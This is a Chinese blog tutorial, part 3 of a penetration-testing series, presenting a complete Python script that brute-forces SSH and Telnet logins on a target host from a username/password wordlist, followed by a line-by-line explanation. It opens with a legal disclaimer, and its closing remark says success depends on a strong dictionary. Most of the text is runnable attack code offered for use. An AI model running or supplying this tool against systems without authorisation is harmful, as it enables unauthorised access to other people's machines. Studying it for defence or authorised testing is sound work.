Python 实战:内网渗透中的信息收集自动化脚本(3)

用途限制声明,本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具,严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果,作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作,可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果,在合法合规前提下谨慎实践。

这次主要介绍检测目标主机的ssh或者telnet是否存在默认凭据登录的脚本,相当于爆破ssh,telnet所在端口的账户,密码。类似的工具相信大家不会陌生,九头蛇(hydra)或者美杜莎(Medusa).

import paramiko
import telnetlib
import time
import argparse
from typing import Tuple, Optional

def SSHLogin(host: str, port: int, username: str, password: str, timeout: int = 10) -> bool:
    """
    通过SSH协议尝试登录目标主机
    :param host: 目标主机IP或域名
    :param port: 目标端口
    :param username: 用户名
    :param password: 密码
    :param timeout: 超时时间(秒)
    :return: 登录成功返回True,否则返回False
    """
    ssh = None
    try:
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        ssh.connect(
            hostname=host,
            port=port,
            username=username,
            password=password,
            timeout=timeout,
            allow_agent=False,
            look_for_keys=False
        )
        # 验证会话是否活跃
        if ssh.get_transport().is_active():
            print(f"[+] SSH登录成功 {host}:{port} - {username}:{password}")
            return True
    except paramiko.AuthenticationException:
        print(f"[-] SSH认证失败 {host}:{port} - {username}:{password}")
    except paramiko.SSHException as e:
        print(f"[-] SSH连接错误 {host}:{port} - {str(e)}")
    except (TimeoutError, ConnectionRefusedError):
        print(f"[-] SSH连接超时/被拒绝 {host}:{port}")
    except Exception as e:
        print(f"[-] SSH未知错误 {host}:{port} - {str(e)}")
    finally:
        if ssh:
            try:
                ssh.close()
            except:
                pass
    return False

def TelnetLogin(host: str, port: int, username: str, password: str, timeout: int = 10) -> bool:
    """
    通过Telnet协议尝试登录目标主机
    :param host: 目标主机IP或域名
    :param port: 目标端口
    :param username: 用户名
    :param password: 密码
    :param timeout: 超时时间(秒)
    :return: 登录成功返回True,否则返回False
    """
    tn = None
    try:
        # 修复原代码中错误的HTTP前缀问题
        tn = telnetlib.Telnet(host, port, timeout=timeout)
        
        # 更灵活的登录提示符处理
        prompts = tn.expect([b"login:", b"Username:", b"user:"], timeout=timeout)
        if prompts[0] == -1:
            print(f"[-] Telnet未找到用户名提示符 {host}:{port}")
            return False
            
        tn.write(f"{username}\n".encode('utf-8'))
        
        pass_prompts = tn.expect([b"Password:", b"password:"], timeout=timeout)
        if pass_prompts[0] == -1:
            print(f"[-] Telnet未找到密码提示符 {host}:{port}")
            return False
            
        tn.write(f"{password}\n".encode('utf-8'))
        
        # 等待登录结果
        time.sleep(1)
        result = tn.expect([b"Last login", b"Welcome", b"$", b">#"], timeout=timeout)
        if result[0] > -1:
            print(f"[+] Telnet登录成功 {host}:{port} - {username}:{password}")
            return True
        else:
            print(f"[-] Telnet登录失败 {host}:{port} - {username}:{password}")
    except EOFError:
        print(f"[-] Telnet连接被关闭 {host}:{port} - {username}:{password}")
    except (TimeoutError, ConnectionRefusedError):
        print(f"[-] Telnet连接超时/被拒绝 {host}:{port}")
    except Exception as e:
        print(f"[-] Telnet未知错误 {host}:{port} - {str(e)}")
    finally:
        if tn:
            try:
                tn.close()
            except:
                pass
    return False

def load_credentials(filename: str) -> list[Tuple[str, str]]:
    """
    从文件加载用户名密码组合
    :param filename: 凭据文件路径
    :return: 用户名密码元组列表
    """
    credentials = []
    try:
        with open(filename, 'r', encoding='utf-8') as f:
            for line_num, line in enumerate(f, 1):
                line = line.strip()
                if not line or line.startswith('#'):  # 跳过空行和注释
                    continue
                parts = line.split(maxsplit=1)  # 允许密码包含空格
                if len(parts) == 2:
                    credentials.append((parts[0].strip(), parts[1].strip()))
                else:
                    print(f"[!] 凭据文件格式错误,行 {line_num}: {line}")
    except FileNotFoundError:
        print(f"[!] 凭据文件 {filename} 未找到")
    except Exception as e:
        print(f"[!] 加载凭据文件错误: {str(e)}")
    return credentials

def main():
    # 命令行参数解析
    parser = argparse.ArgumentParser(description='默认凭据检测工具')
    parser.add_argument('-H', '--host', required=True, help='目标主机IP或域名')
    parser.add_argument('-P', '--port', type=int, help='目标端口(默认SSH:22, Telnet:23)')
    parser.add_argument('-s', '--service', choices=['ssh', 'telnet', 'both'], default='both',
                      help='检测的服务类型(默认: both)')
    parser.add_argument('-f', '--file', default='defaults.txt', help='凭据文件路径(默认: defaults.txt)')
    parser.add_argument('-t', '--timeout', type=int, default=10, help='超时时间(秒)(默认: 10)')
    parser.add_argument('-d', '--delay', type=float, default=0.5, help='尝试间隔时间(秒)(默认: 0.5)')
    args = parser.parse_args()

    # 确定端口
    ssh_port = args.port if args.port else 22
    telnet_port = args.port if args.port else 23

    # 加载凭据
    credentials = load_credentials(args.file)
    if not credentials:
        print("[!] 未加载到任何凭据,退出程序")
        return

    print(f"[*] 开始检测目标 {args.host},共加载 {len(credentials)} 组凭据")

    # 尝试登录
    for username, password in credentials:
        if args.service in ['ssh', 'both']:
            SSHLogin(args.host, ssh_port, username, password, args.timeout)
        if args.service in ['telnet', 'both']:
            TelnetLogin(args.host, telnet_port, username, password, args.timeout)
        # 避免过于频繁的尝试
        time.sleep(args.delay)

if __name__ == "__main__":
    main()

1.导入依赖库

import paramiko
import telnetlib
import time
import argparse
from typing import Tuple, Optional
  • paramiko:这是 Python 中用于 SSH 协议操作的第三方库,提供了 SSH 客户端和服务器的实现,这里用于创建 SSH 连接并尝试登录
  • telnetlib:Python 标准库中的 Telnet 客户端模块,用于处理 Telnet 协议的通信
  • time:提供时间相关的功能,这里主要用于控制登录尝试之间的间隔时间
  • argparse:用于解析命令行参数,让用户可以通过命令行设置工具的各种参数
  • typing模块:提供类型提示功能,Tuple用于指定元组类型,增强代码的可读性和 IDE 的类型检查

2.SSHLogin 函数 

函数定义与文档字符串
def SSHLogin(host: str, port: int, username: str, password: str, timeout: int = 10) -> bool:
    """
    通过SSH协议尝试登录目标主机
    :param host: 目标主机IP或域名
    :param port: 目标端口
    :param username: 用户名
    :param password: 密码
    :param timeout: 超时时间(秒)
    :return: 登录成功返回True,否则返回False
    """
初始化与连接准备
    ssh = None
    try:
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  • ssh = None:先初始化变量,避免在异常处理时引用未定义的变量
  • paramiko.SSHClient():创建 SSH 客户端对象
  • set_missing_host_key_policy(paramiko.AutoAddPolicy()):设置未知主机密钥的处理策略,AutoAddPolicy表示自动接受未知的主机密钥(在安全测试场景常用,但生产环境需谨慎)
尝试 SSH 连接
        ssh.connect(
            hostname=host,
            port=port,
            username=username,
            password=password,
            timeout=timeout,
            allow_agent=False,
            look_for_keys=False
        )
  • ssh.connect():尝试连接到目标 SSH 服务
  • allow_agent=False:禁用 SSH 代理,确保不会使用系统中的 SSH 代理进行认证
  • look_for_keys=False:禁用查找本地密钥文件,确保只使用提供的密码进行认证(不依赖本地的 id_rsa 等密钥文件)
验证登录状态
        # 验证会话是否活跃
        if ssh.get_transport().is_active():
            print(f"[+] SSH登录成功 {host}:{port} - {username}:{password}")
            return True
  • ssh.get_transport().is_active():检查 SSH 传输通道是否处于活跃状态,用于确认登录是否成功
  • 成功则打印带有[+]标记的成功信息,并返回True
异常处理
    except paramiko.AuthenticationException:
        print(f"[-] SSH认证失败 {host}:{port} - {username}:{password}")
    except paramiko.SSHException as e:
        print(f"[-] SSH连接错误 {host}:{port} - {str(e)}")
    except (TimeoutError, ConnectionRefusedError):
        print(f"[-] SSH连接超时/被拒绝 {host}:{port}")
    except Exception as e:
        print(f"[-] SSH未知错误 {host}:{port} - {str(e)}")
  • 分层捕获不同类型的异常,使错误信息更具体:
    • AuthenticationException:明确捕获认证失败(用户名 / 密码错误)
    • SSHException:捕获 SSH 协议相关的错误
    • TimeoutError, ConnectionRefusedError:捕获连接超时或被拒绝的情况
    • 通用Exception:作为保底,捕获其他未预料到的错误
  • 错误信息使用[-]标记,便于区分成功与失败记录
资源清理
    finally:
        if ssh:
            try:
                ssh.close()
            except:
                pass
    return False
  • finally块确保无论是否发生异常,都会执行资源清理操作
  • 检查ssh对象是否存在,避免NoneType错误
  • 嵌套try-except确保关闭连接时的错误不会影响主程序
  • 函数默认返回False(只有登录成功时才会提前返回True

3. TelnetLogin 函数

函数定义与文档字符串
def TelnetLogin(host: str, port: int, username: str, password: str, timeout: int = 10) -> bool:
    """
    通过Telnet协议尝试登录目标主机
    :param host: 目标主机IP或域名
    :param port: 目标端口
    :param username: 用户名
    :param password: 密码
    :param timeout: 超时时间(秒)
    :return: 登录成功返回True,否则返回False
    """
  • SSHLogin类似的函数定义,参数和返回值含义相同
  • 文档字符串说明这是用于 Telnet 协议登录的函数
初始化 Telnet 连接
    tn = None
    try:
        tn = telnetlib.Telnet(host, port, timeout=timeout)
  • tn = None:初始化变量,避免后续引用问题
  • telnetlib.Telnet(...):创建 Telnet 客户端对象并尝试连接目标主机
处理用户名输入
        # 更灵活的登录提示符处理
        prompts = tn.expect([b"login:", b"Username:", b"user:"], timeout=timeout)
        if prompts[0] == -1:
            print(f"[-] Telnet未找到用户名提示符 {host}:{port}")
            return False
            
        tn.write(f"{username}\n".encode('utf-8'))
  • tn.expect(...):等待目标返回指定的提示符,参数是字节序列列表(因为 Telnet 传输的是字节)
    • 支持多种可能的用户名提示符(login:Username:user:),适应不同设备的提示风格
    • 返回值是一个元组(匹配索引, 匹配对象, 字节数据)
  • prompts[0] == -1:表示没有匹配到任何提示符,登录流程无法继续
  • tn.write(...):发送用户名,需要先编码为字节流(utf-8编码),并添加换行符\n模拟回车
处理密码输入
        pass_prompts = tn.expect([b"Password:", b"password:"], timeout=timeout)
        if pass_prompts[0] == -1:
            print(f"[-] Telnet未找到密码提示符 {host}:{port}")
            return False
            
        tn.write(f"{password}\n".encode('utf-8'))
  • 与处理用户名类似,等待密码提示符(支持大小写形式)
  • 发送密码(同样需要编码为字节流并添加换行符)
验证 Telnet 登录结果
        # 等待登录结果
        time.sleep(1)
        result = tn.expect([b"Last login", b"Welcome", b"$", b">#"], timeout=timeout)
        if result[0] > -1:
            print(f"[+] Telnet登录成功 {host}:{port} - {username}:{password}")
            return True
        else:
            print(f"[-] Telnet登录失败 {host}:{port} - {username}:{password}")
  • time.sleep(1):等待 1 秒,给服务器足够时间处理登录请求
  • tn.expect(...):通过检测登录成功后的典型提示信息来判断是否登录成功
    • Last login:常见于 Linux 系统的登录成功提示
    • Welcome:通用的欢迎信息
    • $#:命令行提示符(普通用户和管理员)
  • result[0] > -1:表示匹配到了成功标识,登录成功
异常处理与资源清理
    except EOFError:
        print(f"[-] Telnet连接被关闭 {host}:{port} - {username}:{password}")
    except (TimeoutError, ConnectionRefusedError):
        print(f"[-] Telnet连接超时/被拒绝 {host}:{port}")
    except Exception as e:
        print(f"[-] Telnet未知错误 {host}:{port} - {str(e)}")
    finally:
        if tn:
            try:
                tn.close()
            except:
                pass
    return False
  • 异常处理逻辑与SSHLogin类似,但针对 Telnet 的特点增加了EOFError(连接被意外关闭)
  • 同样在finally块中确保 Telnet 连接被关闭
  • 默认返回False,只有登录成功时返回True

4. load_credentials 函数 

函数定义与文档字符串
def load_credentials(filename: str) -> list[Tuple[str, str]]:
    """
    从文件加载用户名密码组合
    :param filename: 凭据文件路径
    :return: 用户名密码元组列表
    """
  • 函数返回值类型list[Tuple[str, str]]表示 "字符串元组的列表",即每个元素是一个包含两个字符串(用户名和密码)的元组
初始化与文件读取
    credentials = []
    try:
        with open(filename, 'r', encoding='utf-8') as f:
            for line_num, line in enumerate(f, 1):
                line = line.strip()
                if not line or line.startswith('#'):  # 跳过空行和注释
                    continue
  • credentials = []:初始化空列表存储凭据
  • with open(...):使用上下文管理器打开文件,自动处理文件关闭
  • enumerate(f, 1):获取行号(从 1 开始计数,符合实际文件行号习惯)
  • line.strip():去除行首尾的空白字符(空格、换行符等)
  • if not line or line.startswith('#'):跳过空行和以#开头的注释行
解析凭据行
                parts = line.split(maxsplit=1)  # 允许密码包含空格
                if len(parts) == 2:
                    credentials.append((parts[0].strip(), parts[1].strip()))
                else:
                    print(f"[!] 凭据文件格式错误,行 {line_num}: {line}")
  • line.split(maxsplit=1):只分割第一个空格,允许密码中包含空格(例如 "admin pass123" 会被正确分割为用户名 "admin" 和密码 "pass123")
  • 检查分割结果是否为两部分(用户名和密码),符合格式则添加到凭据列表
  • 格式错误则输出警告信息,包含行号便于用户排查凭据文件问题
异常处理
    except FileNotFoundError:
        print(f"[!] 凭据文件 {filename} 未找到")
    except Exception as e:
        print(f"[!] 加载凭据文件错误: {str(e)}")
    return credentials
  • 专门处理FileNotFoundError(文件不存在),错误信息更明确
  • 通用异常捕获其他可能的文件读取错误(如权限问题、编码问题等)
  • 返回加载到的凭据列表(可能为空)

5. main 函数 - 详细拆解

命令行参数解析
    # 命令行参数解析
    parser = argparse.ArgumentParser(description='默认凭据检测工具')
    parser.add_argument('-H', '--host', required=True, help='目标主机IP或域名')
    parser.add_argument('-P', '--port', type=int, help='目标端口(默认SSH:22, Telnet:23)')
    parser.add_argument('-s', '--service', choices=['ssh', 'telnet', 'both'], default='both',
                      help='检测的服务类型(默认: both)')
    parser.add_argument('-f', '--file', default='defaults.txt', help='凭据文件路径(默认: defaults.txt)')
    parser.add_argument('-t', '--timeout', type=int, default=10, help='超时时间(秒)(默认: 10)')
    parser.add_argument('-d', '--delay', type=float, default=0.5, help='尝试间隔时间(秒)(默认: 0.5)')
    args = parser.parse_args()
  • argparse.ArgumentParser:创建命令行参数解析器
  • 定义的参数说明:
    • -H/--host:必填参数,目标主机地址
    • -P/--port:可选参数,指定端口(不指定则使用默认端口)
    • -s/--service:指定检测的服务类型,只能是sshtelnetboth(默认)
    • -f/--file:凭据文件路径(默认defaults.txt
    • -t/--timeout:连接超时时间(默认 10 秒)
    • -d/--delay:每次尝试之间的间隔时间(默认 0.5 秒)
  • args = parser.parse_args():解析命令行参数并存储到args对象
确定服务端口
    # 确定端口
    ssh_port = args.port if args.port else 22
    telnet_port = args.port if args.port else 23
  • 如果用户通过-P指定了端口,则 SSH 和 Telnet 都使用该端口
  • 未指定时,使用默认端口(SSH:22,Telnet:23)
  • 这样设计允许用户灵活测试非标准端口上的服务
加载凭据并检查
    # 加载凭据
    credentials = load_credentials(args.file)
    if not credentials:
        print("[!] 未加载到任何凭据,退出程序")
        return
  • 调用load_credentials函数加载凭据文件
  • 如果凭据列表为空(加载失败或文件中没有有效凭据),则输出提示并退出程序
执行登录尝试
    print(f"[*] 开始检测目标 {args.host},共加载 {len(credentials)} 组凭据")

    # 尝试登录
    for username, password in credentials:
        if args.service in ['ssh', 'both']:
            SSHLogin(args.host, ssh_port, username, password, args.timeout)
        if args.service in ['telnet', 'both']:
            TelnetLogin(args.host, telnet_port, username, password, args.timeout)
        # 避免过于频繁的尝试
        time.sleep(args.delay)
  • 打印开始信息,包含目标主机和凭据数量
  • 循环遍历所有凭据,对每个用户名 / 密码组合:
    • 根据服务类型选择调用SSHLoginTelnetLogin或两者
    • 每次尝试后等待args.delay秒,避免请求过于频繁(防止被目标主机限制或视为攻击)

6. 程序入口

if __name__ == "__main__":
    main()

  • 这是 Python 的标准程序入口写法
  • 当脚本被直接运行时(__name__ == "__main__"为真),调用main()函数启动程序
  • 如果脚本被作为模块导入,则不会自动执行main()函数

通过此代码,我们了解了ssh以及telnet爆破的内在逻辑,了解其基本原理,上面代码能够进行基本使用,想要功能能够更加强大,需要不断优化以及改进。再次提醒,爆破的成功在于有一个强大的字典,这是必不可少的。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

jieyu1119

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值